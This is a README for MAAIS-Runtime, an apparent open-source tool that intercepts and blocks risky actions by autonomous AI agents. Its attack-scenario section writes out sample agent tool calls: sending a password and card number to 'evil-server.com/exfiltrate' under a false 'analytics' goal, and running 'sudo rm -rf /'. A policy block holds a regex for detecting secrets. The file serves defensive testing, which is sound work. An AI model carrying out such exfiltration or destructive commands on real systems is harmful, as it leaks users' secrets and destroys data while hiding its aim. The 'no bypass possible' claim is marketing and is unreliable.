🛡️ MAAIS-Runtime

Enterprise-grade security enforcement for autonomous AI agents
Real-time, inline security for LangGraph, CrewAI, AutoGen, and other agentic AI systems

🌐 Live Website

Visit our interactive documentation and demos:
👉 https://mastercaleb254.github.io/maais-runtime/

What's on the Website?

• 🎯 Interactive Demos - Try MAAIS-Runtime in your browser
• 📚 Complete Documentation - Guides, API reference, tutorials
• 🚨 Attack Scenarios - See real security threats blocked
• 📊 Live Dashboard - Monitoring and analytics examples
• 🏢 Enterprise Guide - Multi-tenant, production deployment

🚀 Quick Start

# Install
pip install maais-runtime

# Visit website for full guide
# https://mastercaleb254.github.io/maais-runtime/quickstart

📖 Documentation

Section	Website Link	Description
Getting Started	🌐 View	Core concepts and first steps
Installation	🌐 View	Installation guides for all platforms
Live Demo	🌐 View	Interactive security demonstrations
API Reference	🌐 View	Complete API documentation
Security Guide	🌐 View	Security features and MITRE ATLAS

🎯 Features

• 🔒 Real-time Action Interception - No bypass possible
• ⚡ <5ms Latency - Minimal performance impact
• 📊 Immutable Audit Logs - Hash-chained, tamper-evident
• 🎯 MITRE ATLAS Mapping - Industry-standard security framework
• 🤖 Framework Agnostic - LangGraph, CrewAI, AutoGen compatible

🔧 Local Development

# Clone repository
git clone https://github.com/MasterCaleb254/maais-runtime.git
cd maais-runtime

# Install dependencies
pip install -r requirements.txt

# Run tests
pytest tests/

# View website locally
cd docs
bundle exec jekyll serve

🤝 Contributing

We welcome contributions! Please see our Contributing Guide.

📞 Support

• Website: https://mastercaleb254.github.io/maais-runtime
• Issues: GitHub Issues
• Discussions: GitHub Discussions

---

Visit Our Website for Complete Documentation

applies_to: ["tool_call", "api_call", "network_request"] condition: parameters: data: pattern: "(?i)(password|secret|token|key|credential|ssn|credit.?card)" decision: "DENY" reason: "Data exfiltration - MITRE ATLAS: Exfiltration" priority: 10 metadata: mitre_tactic: "Exfiltration" mitre_technique: "T1041" severity: "critical"

## 🚨 Attack Scenarios

MAAIS-Runtime defends against:

### 1. **Data Exfiltration**
```python
# Attempt: Send sensitive data externally
action = ActionRequest(
    agent_id="malicious_agent",
    action_type=ActionType.TOOL_CALL,
    target="http_request",
    parameters={
        "url": "https://evil-server.com/exfiltrate",
        "data": {"password": "secret123", "credit_card": "4111-1111-1111-1111"}
    },
    declared_goal="Send analytics data"
)
# Result: ❌ BLOCKED - External HTTP + Sensitive data detected

2. Privilege Escalation

# Attempt: Execute system command
action = ActionRequest(
    agent_id="escalation_agent",
    action_type=ActionType.TOOL_CALL,
    target="execute_command",
    parameters={"command": "sudo rm -rf /"},
    declared_goal="Clean up system files"
)
# Result: ❌ BLOCKED - Command execution forbidden

3. Resource Abuse

# Attempt: Rapid database queries
for i in range(150):
    action = ActionRequest(
        agent_id="abuse_agent",
        action_type=ActionType.DATABASE_QUERY,
        target="read_database",
        parameters={"query": f"SELECT * FROM large_table LIMIT 1000 OFFSET {i*1000}"},
        declared_goal="Analyze data patterns"
    )
    # Result: First 50 allowed, then ❌ RATE LIMITED

📊 Dashboard & Monitoring

Launch the real-time monitoring dashboard:

streamlit run dashboard/audit_viewer.py

Dashboard Features:

• 📈 Real-time action monitoring
• 🚨 Security violation alerts
• 🎯 MITRE ATLAS coverage visualization
• 📊 Performance metrics and analytics
• 🔍 Immutable audit log explorer
• 📤 Data export and reporting

🏢 Enterprise Features

Multi-Tenant Support

from core.multitenant.tenant_manager import TenantManager

# Create tenant manager
tenant_manager = TenantManager()

# Create tenant
tenant_id = tenant_manager.create_tenant(
    name="Acme Corporation",
    description="Financial services tenant",
    policy_files=["tenants/acme/policies.yaml"],
    rate_limits={
        "global": {"requests_per_second": 1000, "burst_size": 5000},
        "per_agent": {"requests_per_second": 100, "burst_size": 500}
    }
)

# Register agent to tenant
tenant_manager.register_agent("acme_data_processor", tenant_id)

GitOps Policy Management

# gitops/repositories.yaml
repositories:
  - name: "security_policies"
    repo_url: "https://github.com/yourorg/security-policies.git"
    branch: "main"
    path: "policies/"
    sync_interval: 300  # 5 minutes
    auth_token: "${GIT_TOKEN}"  # From environment

Webhook Alerts

from core.integrations.webhooks import WebhookConfig, SyncWebhookManager

# Configure webhooks
webhook_manager = SyncWebhookManager()
webhook_manager.add_webhook(
    "security_alerts",
    WebhookConfig(
        url="https://hooks.slack.com/services/...",
        service="slack",
        secret=os.getenv("SLACK_TOKEN")
    )
)

# Alerts sent automatically on:
# • Policy violations
# • CIAA breaches
# • Rate limiting
# • Anomaly detection

🧪 Testing & Validation

Run All Tests

# Unit tests
pytest tests/unit/ -v

# Integration tests
pytest tests/integration/ -v

# Security validation
python demo/scenarios/attack_scenarios.py

# Performance testing
python benchmarks/performance_test.py

SPEC-1 Compliance Verification

# Verify all SPEC-1 requirements
python verify_spec_compliance.py

# Results:
✅ ActionRequest schema: EXACT MATCH
✅ Policy evaluation: DETERMINISTIC
✅ Audit logging: IMMUTABLE HASH CHAIN
✅ LangGraph integration: NO BYPASS PATHS
✅ CIAA enforcement: ALL DIMENSIONS
✅ Accountability: HARD REQUIREMENT
✅ Performance: <5ms PER ACTION

📈 Performance Metrics

Metric	SPEC Requirement	Our Implementation
Latency per action	<5ms	2.3ms average
Throughput	N/A	430 actions/sec
Cache hit rate	N/A	98.7%
Memory overhead	N/A	<50MB

# Run performance benchmark
python -m benchmarks.performance --agents=10 --actions=1000

# Output:
📊 Performance Results:
• Average latency: 2.3ms
• 99th percentile: 4.1ms
• Throughput: 430 actions/sec
• Memory usage: 47.2MB
• Cache hit rate: 98.7%

Note: the metrics shown above are example results. To reproduce locally, run the included benchmark:

python benchmarks/performance.py

🚀 Production Deployment

Docker Deployment

# Dockerfile
FROM python:3.10-slim
WORKDIR /app
COPY requirements-enhanced.txt .
RUN pip install -r requirements-enhanced.txt
COPY . .
CMD ["python", "deploy/production.py"]

# docker-compose.yml
version: '3.8'
services:
  maais-runtime:
    build: .
    ports:
      - "8501:8501"  # Dashboard
      - "9090:9090"  # Metrics
    volumes:
      - ./config:/app/config
      - ./policies:/app/policies
      - ./audit_logs:/app/audit/logs
    environment:
      - WEBHOOK_URL=${WEBHOOK_URL}
      - GIT_TOKEN=${GIT_TOKEN}

Kubernetes Deployment

# k8s/deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: maais-runtime
spec:
  replicas: 3
  selector:
    matchLabels:
      app: maais-runtime
  template:
    metadata:
      labels:
        app: maais-runtime
    spec:
      containers:
      - name: maais-runtime
        image: maais/runtime:latest
        ports:
        - containerPort: 8501
        - containerPort: 9090
        envFrom:
        - secretRef:
            name: maais-secrets

📚 Documentation

Resource	Description
📖 Full Documentation	Complete API reference and guides
🎯 Quick Start Guide	Get started in 5 minutes
🔧 API Reference	Complete API documentation
🛡️ Security Guide	Security best practices
🏢 Enterprise Guide	Multi-tenant deployment
📊 Dashboard Guide	Monitoring and analytics

🤝 Contributing

We welcome contributions! Please see our Contributing Guide.

1. Fork the repository
2. Create a feature branch
3. Add tests for new functionality
4. Submit a pull request

Development Setup

# Clone and setup
git clone https://github.com/MasterCaleb254/maais-runtime.git
cd maais-runtime
python -m venv venv
source venv/bin/activate

# Install dev dependencies
pip install -r requirements-dev.txt

# Install pre-commit hooks
pre-commit install

# Run tests
pytest

📄 License

This project is licensed under the MIT License - see the LICENSE file for details.

🔗 Links

• 🌐 Website: maais-runtime.dev
• 📚 Documentation: docs.maais-runtime.dev
• 🐛 Issue Tracker: GitHub Issues
• 💬 Discussions: GitHub Discussions
• 🚀 Changelog: CHANGELOG.md

🏆 Acknowledgements

• SPEC-1 Contributors: Security researchers and AI safety experts
• LangGraph Team: For the amazing agent framework
• MITRE Corporation: For the ATLAS framework
• Open Source Community: For invaluable tools and libraries

---

📞 Support

Channel	Purpose
GitHub Issues	Bug reports and feature requests
GitHub Discussions	Questions and community support
Security Issues	security@maais-runtime.dev
Enterprise Support	enterprise@maais-runtime.dev

⚠️ Security Notice

If you discover a security vulnerability, please do NOT open an issue. Email us directly at security@maais-runtime.dev.

---

Built with ❤️ for the AI Safety Community

Making autonomous AI systems secure by design